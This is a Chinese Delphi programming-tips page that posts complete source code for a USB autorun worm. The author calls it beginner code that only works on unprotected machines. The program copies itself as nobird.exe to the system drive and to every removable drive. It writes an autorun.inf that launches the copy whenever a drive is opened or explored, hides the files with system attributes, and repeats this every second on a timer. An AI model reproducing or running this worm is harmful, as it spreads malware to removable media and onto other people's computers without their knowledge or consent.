主页 > 编程资料 > Delphi >
发布时间:2015-09-22 作者:网络 阅读:166次

话说这段还是很菜的代码,仅仅是在无保护的机子上实现效果而已。
unit Unit1;interfaceuses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs,Tlhelp32,  StdCtrls;type  TForm1 = class(TForm)    Button1: TButton;    procedure Button1Click(Sender: TObject);  private    { Private declarations }  public    { Public declarations }  end;var  Form1: TForm1;vars,s1,s2,s3:string;i:char;inf:textfile;var   win: longint;   msg: Tmsg;implementation{$R *.dfm} function GetWinDir: string;var   Buf: array[0..MAX_PATH] of char;begin   GetSystemDirectory(Buf, MAX_PATH);   Result := Buf;   if Result[Length(Result)] <> '\' then Result := Result + '\';end;procedure TForm1.Button1Click(Sender: TObject);beginbegin//========================创建autorun.inf文件===================================begins:=ExpandFileName(ParamStr(0));    //获取自身的完整路径s1:=ExtractFileDir(ParamStr(0))+'\autorun.inf';FileSetAttr(s,0);FileSetAttr(s1,0);assignfile(inf, 'Autorun.inf');rewrite(inf);writeln(inf, '[AutoRun]');writeln(inf, '');writeln(inf, 'open=nobird.exe');writeln(inf, 'shell\open=打开(&O)');writeLn(inf, 'shell\open\Command=nobird.exe');writeln(inf, 'shell\open\Default=1');writeln(inf, 'shell\explore=资源管理器(&X)');writeln(inf, 'shell\explore\Command=nobird.EXE');closefile(inf);end;//=====================================end======================================//=============================将文件复制到系统盘符下===========================    s2:=copy(getwindir,1,1);    s3:=pchar(s2+':\autorun.inf');    s2:=pchar(s2+':\nobird.exe');    copyfile(pchar(s),pchar(s2),false);    copyfile(pchar(s1),pchar(s3),false);    FileSetAttr(s2,7);    FileSetAttr(s3,7);//==================================end=========================================//=============================将文件复制到所有磁盘===========================for i:='C' to 'Z' doif GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE thenbegin    s2:=i;    s3:=pchar(i+':\autorun.inf');    s2:=pchar(s2+':\nobird.exe');    copyfile(pchar(s),pchar(s2),false);    copyfile(pchar(s1),pchar(s3),false);    FileSetAttr(s2,7);    FileSetAttr(s3,7);   end;//================================end===========================================end;begin   //下面的代码在调试的时候最好注释掉,不然你会很郁闷...   win := getforegroundwindow; //获取当前窗体的句柄   //showwindow(win, SW_HIDE); //隐藏窗体   SetTimer(0, 10, 1000, @TForm1.Button1Click); //定时间器,一秒钟扫描一次   while GetMessage(msg, 0, 0, 0) do DispatchMessage(msg);   KillTimer(0, 10);end;end;end.

关键字词: